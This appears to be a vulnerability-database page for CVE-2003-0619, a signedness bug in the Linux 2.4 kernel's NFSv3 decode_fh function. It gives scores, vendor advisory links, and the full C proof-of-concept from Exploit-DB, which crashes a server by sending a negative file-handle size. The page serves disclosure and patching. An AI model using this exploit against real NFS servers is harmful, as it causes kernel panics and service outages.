CVE-2003-0619 : Detail

CVE-2003-0619

5.93%V4
Network
2003-08-01
02h00 +00:00
2017-10-09
22h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer signedness error in the decode_fh function of nfs3xdr.c in Linux kernel before 2.4.21 allows remote attackers to cause a denial of service (kernel panic) via a negative size value within XDR data of an NFSv3 procedure call.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 68

Publication date : 2003-07-28 22h00 +00:00
Author : Jared Stanbrough
EDB Verified : Yes

/* Linux 2.4.20 knfsd kernel signed/unsigned decode_fh DoS Author: jared stanbrough <jareds pdx edu> Vulnerable code: (fs/nfsd/nfs3xdr.c line 52-64) static inline u32 * decode_fh(u32 *p, struct svc_fh *fhp) { int size; fh_init(fhp, NFS3_FHSIZE); size = ntohl(*p++); if (size > NFS3_FHSIZE) return NULL; memcpy(&fhp->fh_handle.fh_base, p, size); fhp->fh_handle.fh_size = size; return p + XDR_QUADLEN(size); } This code is called by quite a few XDR decoding routines. The below POC demonstrates the vulnerability by encoding a malicious fhsize at the beginning of a diroparg xdr argument. To test this, the vulnerable host must have an accessible exported directory which was previously mounted by the attacker. _HOWEVER_ it may be possible to trigger this bug by some other method. Fix: Simply change size to an unsigned int, or check for size < 0. */ #include <rpcsvc/nfs_prot.h> #include <rpc/rpc.h> #include <rpc/xdr.h> #include <netinet/in.h> #include <sys/socket.h> #include <sys/types.h> #define NFSPROG 100003 #define NFSVERS 3 #define NFSPROC_GETATTR 1 static struct diropargs heh; bool_t xdr_heh(XDR *xdrs, diropargs *heh) { int32_t werd = -1; return xdr_int32_t(xdrs, &werd); } int main(void) { CLIENT * client; struct timeval tv; client = clnt_create("marduk", NFSPROG, NFSVERS, "udp"); if(client == NULL) { perror("clnt_create\n"); } tv.tv_sec = 3; tv.tv_usec = 0; client->cl_auth = authunix_create_default(); clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh, (xdrproc_t) xdr_void, NULL, tv); return 0; } // milw0rm.com [2003-07-29]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.4.21

References

http://www.redhat.com/support/errata/RHSA-2003-198.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.redhat.com/support/errata/RHSA-2003-239.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2004/dsa-358
Tags : vendor-advisory, x_refsource_DEBIAN
http://marc.info/?l=bugtraq&m=105950927708272&w=2
Tags : mailing-list, x_refsource_BUGTRAQ